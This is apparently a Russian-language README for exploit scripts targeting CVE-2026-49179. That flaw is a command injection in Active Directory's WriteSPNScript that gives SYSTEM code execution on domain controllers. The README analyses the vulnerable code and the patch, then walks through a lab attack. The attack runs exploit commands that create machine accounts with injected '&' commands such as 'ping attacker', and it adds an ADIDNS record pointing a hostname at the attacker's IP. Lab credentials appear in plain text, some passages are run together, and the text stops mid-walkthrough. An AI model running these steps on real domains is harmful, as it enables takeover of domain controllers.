
Эксплойт-скрипты и proof-of-concept для CVE-2026-49179 — инъекции команд в функции WriteSPNScript Active Directory, позволяющей выполнить RCE с правами SYSTEM на контроллерах домена.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Внедрение команд) |
| Уязвимый компонент | ntdsai.dll — функция WriteSPNScript |
| Уязвимые системы | Windows Server 2016, 2019, 2022, 2025 (до установки исправления) |
| Вектор атаки | Аутентифицированный пользователь домена (любой) |
| Воздействие | Удалённое выполнение кода с правами SYSTEM на контроллере домена |
| Опубликовано | Август 2026 |
Функция WriteSPNScript в ntdsai.dll формирует команды пакетных скриптов для исправления SPN (Service Principal Name) во время операций обслуживания Active Directory. Функция использует строку формата для построения команд repadmin.exe /writespn, но не выполняет очистку параметра Distinguished Name (DN), что позволяет внедрять команды через символ & (разделитель команд cmd.exe).
Уязвимая строка формата:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Параметры: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
DN формируется из Common Name (CN) учётной записи компьютера, который задаётся при создании учётной записи. Когда учётная запись компьютера создаётся с метасимволами оболочки в имени, эти символы без экранирования попадают в сгенерированный скрипт. Когда cmd.exe выполняет скрипт, & действует как разделитель команд, выполняя контролируемые злоумышленником команды от имени SYSTEM.
В Active Directory есть два основных протокола для управления учётными записями компьютеров:
| Протокол | Валидация символов | Метасимволы оболочки |
|---|---|---|
| LDAP (значения SPN) | Строгая — CONSTRAINT_ATT_TYPE отклоняет & ; | ' \ $ ( )` | Блокируются |
| SAMR (имена компьютеров) | Слабая — проверяет базовый формат имени учётной записи | Разрешены: & ' \ $ ( ) ! space` |
Эта асимметрия валидации является первопричиной:
sAMAccountName, который становится CN и попадает в DNWriteSPNScript без санитизацииПо адресу 0x1802a98a0 в неисправленном бинарнике:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA форматирует DN напрямую в выходной буфер. Без экранирования, без заключения в кавычки, без санитизации.
Для машины с CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe интерпретирует это как пять отдельных инструкций:
| # | Инструкция | Результат |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Сбой (усечённый DN) |
| 2 | ping attacker | ВНЕДРЕНО — выполняется как SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | Сбой (не является допустимой командой) |
| 4 | ping attacker | ВНЕДРЕНО — выполняется снова (из параметра SPN) |
| 5 | B | Сбой (не является допустимой командой) |
Внедрённая команда появляется дважды — один раз из параметра DN и один раз из параметра SPN (который также содержит имя машины).
Исправленный WriteSPNScript (размер: 1477 → 2005 байт) вносит три изменения:
Две новые функции санитизации, применяемые к обоим параметрам DN и SPN:
EscapeForPowerShellSingleQuote() — экранирует ', чтобы предотвратить выход за пределы строк в одинарных кавычкахEscapeForNativeArgvBackslashesBeforeDoubleQuote() — экранирует последовательности \ перед " для разбора native argv| Базовая (уязвимая) | Исправленная | |
|---|---|---|
| Функция | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| Кавычки | Отсутствуют | Параметры в одинарных кавычках |
| Вывод | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
В более ранней ревизии был feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled, управляющий исправлением. В финальном патче этот флаг был удалён — исправление всегда активно и не может быть отключено.
| Хост | Роль | IP | ОС |
|---|---|---|---|
| WINTERFELL | Контроллер домена | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| Домен | north.sevenkingdoms.local | ||
| Пользователь с низкими привилегиями | samwell.tarly / Heartsbane | Обычный пользователь домена | |
| Администратор | robb.stark / sexywolfy | Администратор домена |
С помощью spn_probe3.py проверено, какие символы SAMR принимает в именах учётных записей машин по сравнению с тем, что LDAP принимает в значениях SPN:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Ключевая находка: SAMR допускает все 8 протестированных метасимволов оболочки. LDAP блокирует их все. Вектор инъекции — через имена машин, созданные через SAMR, а не через значения SPN.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
Также создан как samwell.tarly:
[+] Created C&ping a&D$, RID: 1138
Подтверждено: обычный доменный пользователь (PR:L) может создавать машинные учётные записи с инъекцией команды & в имени.
Обычные доменные пользователи могут добавлять записи ADIDNS. Использован dnstool.py для создания короткого имени хоста, указывающего на атакующего:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Проверенное разрешение на DC:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
Имитация точного вывода, который сгенерировал бы WriteSPNScript, выполненного на DC: